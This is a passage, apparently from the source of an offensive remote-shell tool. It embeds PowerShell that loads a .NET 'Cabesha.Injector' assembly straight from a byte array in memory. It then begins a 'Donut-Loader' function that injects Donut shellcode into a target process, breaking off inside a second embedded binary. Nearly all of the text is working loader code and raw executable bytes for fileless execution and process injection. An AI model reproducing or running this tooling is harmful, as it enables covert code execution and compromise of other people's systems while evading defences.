[Reflection.Assembly]::Load([byte[]]@(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 76, 1, 3, 0, 245, 182, 231, 92, 0, 0, 0, 0, 0, 0, 0, 0, 224, 0, 2, 33, 11, 1, 11, 0, 0, 10, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 94, 41, 0, 0, 0, 32, 0, 0, 0, 64, 0, 0, 0, 0, 0, 16, 0, 32, 0, 0, 0, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 3, 0, 96, 133, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 12, 41, 0, 0, 79, 0, 0, 0, 0, 64, 0, 0, 40, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 12, 0, 0, 0, 212, 39, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 100, 9, 0, 0, 0, 32, 0, 0, 0, 10, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 40, 3, 0, 0, 0, 64, 0, 0, 0, 4, 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 12, 0, 0, 0, 0, 96, 0, 0, 0, 2, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 41, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 196, 32, 0, 0, 16, 7, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 6, 0, 104, 0, 0, 0, 1, 0, 0, 17, 0, 115, 15, 0, 0, 10, 10, 6, 40, 16, 0, 0, 10, 0, 6, 40, 17, 0, 0, 10, 0, 2, 22, 154, 111, 18, 0, 0, 10, 11, 7, 40, 19, 0, 0, 10, 12, 8, 40, 20, 0, 0, 10, 13, 9, 111, 21, 0, 0, 10, 19, 4, 17, 4, 20, 23, 141, 1, 0, 0, 1, 19, 7, 17, 7, 22, 2, 23, 40, 1, 0, 0, 43, 40, 2, 0, 0, 43, 162, 17, 7, 111, 24, 0, 0, 10, 38, 6, 111, 18, 0, 0, 10, 19, 5, 17, 5, 19, 6, 43, 0, 17, 6, 42, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 56, 2, 0, 0, 35, 126, 0, 0, 164, 2, 0, 0, 68, 3, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 232, 5, 0, 0, 8, 0, 0, 0, 35, 85, 83, 0, 240, 5, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 0, 6, 0, 0, 16, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 71, 21, 2, 0, 9, 8, 0, 0, 0, 250, 37, 51, 0, 22, 0, 0, 1, 0, 0, 0, 25, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 24, 0, 0, 0, 12, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 10, 0, 1, 0, 0, 0, 0, 0, 6, 0, 55, 0, 48, 0, 6, 0, 101, 0, 75, 0, 6, 0, 150, 0, 132, 0, 6, 0, 173, 0, 132, 0, 6, 0, 202, 0, 132, 0, 6, 0, 233, 0, 132, 0, 6, 0, 2, 1, 132, 0, 6, 0, 27, 1, 132, 0, 6, 0, 54, 1, 132, 0, 6, 0, 81, 1, 132, 0, 6, 0, 137, 1, 106, 1, 6, 0, 157, 1, 132, 0, 6, 0, 201, 1, 182, 1, 55, 0, 221, 1, 0, 0, 6, 0, 12, 2, 236, 1, 6, 0, 44, 2, 236, 1, 6, 0, 92, 2, 82, 2, 6, 0, 105, 2, 48, 0, 6, 0, 113, 2, 82, 2, 6, 0, 149, 2, 48, 0, 6, 0, 174, 2, 132, 0, 6, 0, 188, 2, 132, 0, 10, 0, 238, 2, 226, 2, 6, 0, 20, 3, 249, 2, 6, 0, 47, 3, 132, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 129, 1, 16, 0, 22, 0, 31, 0, 5, 0, 1, 0, 1, 0, 80, 32, 0, 0, 0, 0, 150, 0, 62, 0, 10, 0, 1, 0, 0, 0, 1, 0, 70, 0, 17, 0, 126, 0, 16, 0, 25, 0, 126, 0, 16, 0, 33, 0, 126, 0, 16, 0, 41, 0, 126, 0, 16, 0, 49, 0, 126, 0, 16, 0, 57, 0, 126, 0, 16, 0, 65, 0, 126, 0, 16, 0, 73, 0, 126, 0, 16, 0, 81, 0, 126, 0, 16, 0, 89, 0, 126, 0, 21, 0, 97, 0, 126, 0, 16, 0, 105, 0, 126, 0, 26, 0, 121, 0, 126, 0, 32, 0, 129, 0, 126, 0, 37, 0, 137, 0, 126, 0, 37, 0, 145, 0, 124, 2, 41, 0, 145, 0, 131, 2, 41, 0, 9, 0, 140, 2, 47, 0, 161, 0, 157, 2, 51, 0, 169, 0, 183, 2, 57, 0, 169, 0, 199, 2, 64, 0, 185, 0, 34, 3, 69, 0, 185, 0, 39, 3, 90, 0, 201, 0, 58, 3, 103, 0, 46, 0, 11, 0, 126, 0, 46, 0, 19, 0, 182, 0, 46, 0, 27, 0, 195, 0, 46, 0, 35, 0, 195, 0, 46, 0, 43, 0, 195, 0, 46, 0, 51, 0, 182, 0, 46, 0, 59, 0, 201, 0, 46, 0, 67, 0, 195, 0, 46, 0, 83, 0, 195, 0, 46, 0, 99, 0, 221, 0, 46, 0, 107, 0, 230, 0, 46, 0, 115, 0, 239, 0, 110, 0, 4, 128, 0, 0, 1, 0, 0, 0, 171, 27, 130, 72, 0, 0, 0, 0, 0, 0, 74, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 39, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 214, 2, 0, 0, 0, 0, 45, 0, 86, 0, 47, 0, 86, 0, 0, 0, 0, 0, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 99, 97, 98, 101, 115, 104, 97, 46, 100, 108, 108, 0, 73, 110, 106, 101, 99, 116, 111, 114, 0, 67, 97, 98, 101, 115, 104, 97, 0, 109, 115, 99, 111, 114, 108, 105, 98, 0, 83, 121, 115, 116, 101, 109, 0, 79, 98, 106, 101, 99, 116, 0, 69, 120, 101, 99, 117, 116, 101, 0, 97, 114, 103, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 84, 97, 114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 46, 99, 116, 111, 114, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 68, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 112, 121, 114, 105, 103, 104, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 114, 97, 100, 101, 109, 97, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 117, 108, 116, 117, 114, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 86, 105, 115, 105, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 99, 97, 98, 101, 115, 104, 97, 0, 83, 121, 115, 116, 101, 109, 46, 73, 79, 0, 83, 116, 114, 105, 110, 103, 87, 114, 105, 116, 101, 114, 0, 67, 111, 110, 115, 111, 108, 101, 0, 84, 101, 120, 116, 87, 114, 105, 116, 101, 114, 0, 83, 101, 116, 79, 117, 116, 0, 83, 101, 116, 69, 114, 114, 111, 114, 0, 84, 111, 83, 116, 114, 105, 110, 103, 0, 67, 111, 110, 118, 101, 114, 116, 0, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 116, 114, 105, 110, 103, 0, 65, 115, 115, 101, 109, 98, 108, 121, 0, 76, 111, 97, 100, 0, 77, 101, 116, 104, 111, 100, 73, 110, 102, 111, 0, 103, 101, 116, 95, 69, 110, 116, 114, 121, 80, 111, 105, 110, 116, 0, 83, 121, 115, 116, 101, 109, 46, 67, 111, 114, 101, 0, 83, 121, 115, 116, 101, 109, 46, 76, 105, 110, 113, 0, 69, 110, 117, 109, 101, 114, 97, 98, 108, 101, 0, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 0, 73, 69, 110, 117, 109, 101, 114, 97, 98, 108, 101, 96, 49, 0, 83, 107, 105, 112, 0, 84, 111, 65, 114, 114, 97, 121, 0, 77, 101, 116, 104, 111, 100, 66, 97, 115, 101, 0, 73, 110, 118, 111, 107, 101, 0, 0, 0, 0, 0, 3, 32, 0, 0, 0, 0, 0, 35, 181, 20, 237, 178, 22, 205, 74, 145, 95, 171, 31, 224, 251, 225, 163, 0, 8, 183, 122, 92, 86, 25, 52, 224, 137, 5, 0, 1, 14, 29, 14, 4, 32, 1, 1, 14, 4, 32, 1, 1, 2, 5, 32, 1, 1, 17, 57, 4, 32, 1, 1, 8, 3, 32, 0, 1, 5, 0, 1, 1, 18, 77, 3, 32, 0, 14, 5, 0, 1, 29, 5, 14, 6, 0, 1, 18, 85, 29, 5, 4, 32, 0, 18, 89, 16, 16, 1, 2, 21, 18, 97, 1, 30, 0, 21, 18, 97, 1, 30, 0, 8, 3, 10, 1, 14, 12, 16, 1, 1, 29, 30, 0, 21, 18, 97, 1, 30, 0, 6, 32, 2, 28, 28, 29, 28, 15, 7, 8, 18, 69, 14, 29, 5, 18, 85, 18, 89, 14, 14, 29, 28, 55, 1, 0, 26, 46, 78, 69, 84, 70, 114, 97, 109, 101, 119, 111, 114, 107, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 52, 46, 53, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 12, 1, 0, 7, 99, 97, 98, 101, 115, 104, 97, 0, 0, 5, 1, 0, 0, 0, 0, 19, 1, 0, 14, 67, 111, 112, 121, 114, 105, 103, 104, 116, 32, 50, 48, 49, 57, 0, 0, 8, 1, 0, 7, 1, 0, 0, 0, 0, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 0, 0, 0, 0, 0, 0, 245, 182, 231, 92, 0, 0, 0, 0, 2, 0, 0, 0, 28, 1, 0, 0, 240, 39, 0, 0, 240, 9, 0, 0, 82, 83, 68, 83, 181, 15, 159, 8, 211, 235, 197, 72, 132, 53, 87, 117, 195, 54, 153, 196, 3, 0, 0, 0, 99, 58, 92, 85, 115, 101, 114, 115, 92, 113, 52, 56, 57, 50, 53, 48, 49, 56, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 104, 97, 114, 112, 68, 101, 118, 101, 108, 111, 112, 32, 80, 114, 111, 106, 101, 99, 116, 115, 92, 99, 97, 98, 101, 115, 104, 97, 92, 99, 97, 98, 101, 115, 104, 97, 92, 111, 98, 106, 92, 68, 101, 98, 117, 103, 92, 99, 97, 98, 101, 115, 104, 97, 46, 112, 100, 98, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 52, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 78, 41, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 95, 67, 111, 114, 68, 108, 108, 77, 97, 105, 110, 0, 109, 115, 99, 111, 114, 101, 101, 46, 100, 108, 108, 0, 0, 0, 0, 0, 255, 37, 0, 32, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 204, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 204, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 130, 72, 171, 27, 0, 0, 1, 0, 130, 72, 171, 27, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 44, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 8, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 56, 0, 8, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 0, 0, 64, 0, 15, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 56, 0, 12, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 68, 0, 15, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 32, 0, 50, 0, 48, 0, 49, 0, 57, 0, 0, 0, 0, 0, 64, 0, 12, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 48, 0, 8, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 0, 0, 68, 0, 15, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 72, 0, 15, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 12, 0, 0, 0, 96, 57, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) | out-null 
$binario  = $arg.split(" ,")[0]
$arg = $arg.Replace("$binario ","").split(",") | Select-Object -Skip 1
$argumentos = $binario
foreach ($argumento in $arg) {
[array]$argumentos += $argumento

}
[Cabesha.Injector]::Execute($argumentos)}
}')
+    donuts = Base64.decode64('function Donut-Loader {param($process_id,$donutfile)
    $help=@"
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    
.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D
"@
if ($process_id -eq $null -or $donutfile -eq $null) {write-host "$help`n"} else 
{
if (([IntPtr]::Size) -eq 4) {write-host "Sorry, this function only work on x64 :("; break}
[byte[]]$bytes = 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 100, 134, 2, 0, 41, 64, 139, 93, 0, 0, 0, 0, 0, 0, 0, 0, 240, 0, 34, 32, 11, 2, 11, 0, 0, 16, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 16, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 3, 0, 96, 133, 0, 